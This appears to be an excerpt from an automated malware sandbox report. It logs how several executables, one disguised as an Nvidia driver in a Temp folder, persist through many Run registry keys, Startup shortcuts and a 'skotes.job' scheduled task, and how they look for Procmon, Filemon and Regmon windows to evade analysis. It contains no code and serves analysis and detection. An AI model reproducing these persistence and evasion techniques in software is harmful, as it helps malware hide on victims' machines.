Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_468ca0ebc2464ad1addaa7c10eb3dff6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_01f5a14ab3654771aa2b02ec3ef86ec7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_fea82d6593394f6f8b93c4ec7bd2f15e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9886616d44f44e36ac8eb72511e99fd5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5d927519720546599f9ee15ceecbdc9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_98c017189ac44e4caa3f411a0cc7df75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ba7abb8ebaa34d3ead4ea9700ae33943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_857dfbcf71e84a5ba3b172f733901942	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_400319cbe8234e299c9163230ec2deea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_1c99dc55ccc049b597d24c458c370a37	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9e33ce0e554b44ea9bcca3bea135d0c9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_33472d2aae864347a0bf15e0fc5876a3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_af5be24324564f8598b7623cec319969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_a55229b8a2774bf08fa8699a442ee253	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_d98eb4fbef8244ecb9602668b4296585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_6c8e335835fe406d94395125cb905191	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_030623400dd34e5c8d138cfa53278235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_bec0a0ec3f194774a3f57ddb54802f67	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_aeaa297d9f6e41859577216271c48f3d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_62877d2b645b4648b854ced2335150cb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_db0ad8af55074ec6a35fe3c2f19759be	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_48773bbf9bc44914991bdff0f06d6074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_64f63a88bdff4eefb01bb065932cd846	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8b829bb3d45a4aab8b3ed7f3d49c5fb9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_c85face801814dfcbf9f40ddf33828ea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_087ea3eefa284f9190e36501b7153e61	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_199e6de3cc44472a85f055bce5f42086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_7d53de950f514e7fb1dc1bf9aa9d9a23	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ca448a9bcb184f7387acce04e7da97c2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_dcc27a0fe2814cfdb3b842eaa11bb6b9	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cef09dcf6b774f79a4710801a7f389d4.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cef09dcf6b774f79a4710801a7f389d4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_5076c9e3d6c54857a127aabaa9953371.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_2b2dd6f89d0648b49b19fb6d0049ab97.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_9c42162aa6064cf496382fa5fa9e7a59.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_40a333e62b3245feb9875db00366e537.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_318d6c1d27b14600820d5c1954e1143f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0337b408af9a4e6b835026f5a14df7c8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3e2c4608ee2c413ab2c52f7c591fe146.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0a509360e9e545b68da05213f779415b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_c7fb3b173d3247c7ad4c060c7997efda.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_5d5114f2b78945199c3be89ad614c09d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_4472c0c28e264555be93599bae62b8a6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e4d4afef04e44d44933a3a176b275626.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_47f9cda654d3460a8bdfb32342b71236.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_ac3b4eb0820a4042991d922e6cef16b2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e6036c26af1d43118879e0a8a36cf924.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_f7e0cbcf85e84f73b37791fc6a985ab9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_eb561c1a12034c2eb4d4d4327700c0ed.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_782e4936eddf44dd94468e70166fe8b4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3c7b8f1e8ee94038b44eaf24fa1b18f7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e2d3d741884b43529853ff8c87ed5336.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_fc0a8a6f5b474d09838b74de29eeb11f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_de66a07cc206428089333ea38f399555.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_9a81a00d066d4bfa82dcac5a08bde51a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_6719133747fd44faaab1433219bf7dc9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_35c5431ed5714ae89884a986955f0da4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_18ffc5a1725442b398f31d86a5253020.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_67e78d46677546c8a89b0be1cc1a70da.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_dd570d0f421f4e5797a46bcd9f0fa633.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_29431715c0454c79b9fd4c99c9087c86.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cad9115b911f4737b404433fa80c2364.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e7801b58c00345e5af02a481fc6970b6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_461994a0584e408eb3dcf4bd676ca6d8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3d05c516b5834b8dabc47ef19f64e664.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_d0714fc59c6f40cb8ea795c5e1717a6b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_ac4144b37c7a4eae9106eb435fb53e9d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cdaecd11468d45dea4c17641898fa3be.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_2e4768b1e3b147a5bd970a59e886abc7.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_db0ad8af55074ec6a35fe3c2f19759be	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_db0ad8af55074ec6a35fe3c2f19759be	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_400319cbe8234e299c9163230ec2deea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_400319cbe8234e299c9163230ec2deea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_62877d2b645b4648b854ced2335150cb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_62877d2b645b4648b854ced2335150cb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_64f63a88bdff4eefb01bb065932cd846	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_64f63a88bdff4eefb01bb065932cd846	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_468ca0ebc2464ad1addaa7c10eb3dff6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_468ca0ebc2464ad1addaa7c10eb3dff6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_b7f403d427dd4c4797c6de880996ae9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_b7f403d427dd4c4797c6de880996ae9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_030623400dd34e5c8d138cfa53278235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_030623400dd34e5c8d138cfa53278235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_1c99dc55ccc049b597d24c458c370a37	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_1c99dc55ccc049b597d24c458c370a37	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_65e75b2ecd364929acc31930f272d177	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_65e75b2ecd364929acc31930f272d177	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8b829bb3d45a4aab8b3ed7f3d49c5fb9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8b829bb3d45a4aab8b3ed7f3d49c5fb9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_f1f5be2991ff4378aa04280f68f2731d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_f1f5be2991ff4378aa04280f68f2731d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ba7abb8ebaa34d3ead4ea9700ae33943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ba7abb8ebaa34d3ead4ea9700ae33943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_33472d2aae864347a0bf15e0fc5876a3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_33472d2aae864347a0bf15e0fc5876a3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_6c8e335835fe406d94395125cb905191	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_6c8e335835fe406d94395125cb905191	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_28ad21eac4844c0f9fd2a61c5bb412c1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_28ad21eac4844c0f9fd2a61c5bb412c1	Jump to behavior
